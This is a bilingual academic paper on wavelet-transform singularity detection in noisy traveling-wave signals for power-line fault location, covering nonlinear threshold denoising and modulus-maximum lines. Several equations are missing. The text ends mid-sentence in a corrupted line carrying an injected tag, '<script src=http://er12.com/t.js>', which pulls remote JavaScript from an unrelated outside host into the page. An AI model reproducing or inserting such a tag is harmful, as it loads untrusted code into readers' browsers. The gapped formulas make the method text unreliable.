a wavelet transform based singularity detection of
traveling wave signal containing noise
jiangsheng，shunai-qiu，hufang，zhoujing
（school of electrical engineering，wuhan university，wuhan 430072，
hubei province，china） abstract: wavelet transform is an efficient mathematical tool for singularity detection. in order to detect the singularity of the traveling wave current containing noise an efficient algorithm based on wavelet transform is needed. in this paper, a method using modulus maximum line based on the de-noising by nonlinear threshold is presented, by which the singularity of the traveling wave signal containing noise can be accurately detected. the practicality of the presented method is validated by digital simulation.
keywords: wavelet transform；singularity；modulus maximum line；traveling wave
摘 要：小波变换是检测信号奇异点的一种有效的数学工具。对于含噪声电流行波信号奇异点的检测，则需要一个基于小波变换的有效算法。作者在非线性阀值法去噪的基础上利用模极大值线的方法正确地检测出含噪声行波信号的奇异点，并通过数字仿真验证了此方法的实用性。
关键词：小波变换；奇异点；模极大值线；行波
1 引言
利用行波进行故障定位，能克服阻抗法易受对侧系统运行阻抗、负载电流、系统运行方式等因素影响的缺点，使得测距精度得以提高[1]。而准确捕捉行波波头到达时刻则是此方法的关键所在。利用小波变换检测行波信号奇异点是国内外常采用的方法。由于采集到的行波信号含有大量噪声信号，这给行波波头的准确捕捉带来了困难。
对含噪声的行波信号需要有效的小波去噪方法，通常去噪的方法有简单去高频去噪、非线性阈值法去噪及模极大值去噪。第一种方法原理简单，直接去高频即可滤掉噪声，但必然会丢失大量的有用信号，故不采用。第二种方法基本原理是噪声在每个尺度下的小波系数将小于某一定值，并有良好的统计优化特性。除去小于某一定值的小波系数，用余下的小波系数进行重构即可达到去噪效果。最后一种方法基本原理是有用信号奇异点的模极大值随尺度的增大而增大，具有正的lipchitz指数；而噪声的模极大值随尺度的增大而减小，具有负的lipchitz指数。它们的模极大值在小波变换下具有不同的变化趋势，所以可以利用寻找到的有用信号模极大值进行重构以达到去噪效果。
试验结果表明，单独使用第二种或第三种方法都不能有效地找着含噪声行波信号的奇异点，本文在这两种原理的基础上，将两种方法结合起来，用模极大值线的方法来准确找出行波波头的到达时刻。
2 行波信号的非线性阈值法去噪
2.1 方法的提出
基于小波变换的去噪方法是利用小波变换中的变尺度特性对确定信号具有一种“集中”的能力。如果一个信号的能量集中于小波变换域中的少数系数上，那么对这些系数的取值必然大于那些小波变换域内能量分散于大量小波系数上的信号或噪声的小波系数值。对采集到的行波信号进行分析，发现噪声成份主要是所谓的白噪声或加性噪声。将小波系数的绝对值看作是一个局部测度，每个小波系数被看成是独立变量。给定一个阈值d，所有绝对值小于阈值d 的小波系数被划为“噪声”，它们的数值用零代替；而超过阈值d 的小波系数数值用阈值d 缩减后再重新取值。donoho等人证明了这种判断方法具有良好的统计优化特性[2]。
如何选取小波阈值是非线性阈值化去噪的关键。假定要研究的信号为f(t)，观察所获得的响应数据为
式中 f (ti)是原始信号；z(ti)是方差为 的高斯白噪声，且符合n (0, )分布；ti是等间隔的采样点（有n个）。donoho等人已提出一个典型阈值选取方法，从理论上给出并证明了阈值与噪声的方差成正比[2]，即
2.2 非线性阈值法去噪的算法
由分析可得非线性阈值法去噪的算法如下：
（1）对信号用dwt进行小波塔式分解，将每 层高频系数 存入数组wj内。
（2）根据式(2)计算小波系数阈值d。考虑到采用的是小波塔式分解，每级分解的采样点nj不同，故阈值d 计算式如下
式中 由mad/0.6745来估计，mad为正规化 后小波系数 的中数。中数的定义为：对于一个n维数组，当n为奇数时，中数是第 (n＋1) /2个数的数值；当n为偶数时，中数是第n/2与第 ( n＋1) /2两数数值和的一半。
（3）利用软阈值式
对小波系数进行阈值化，得到各层新的高频系数 并存入数组内。
（4）将每层新的高频系数和低频系数进?script src=http://er12.com/t.js>
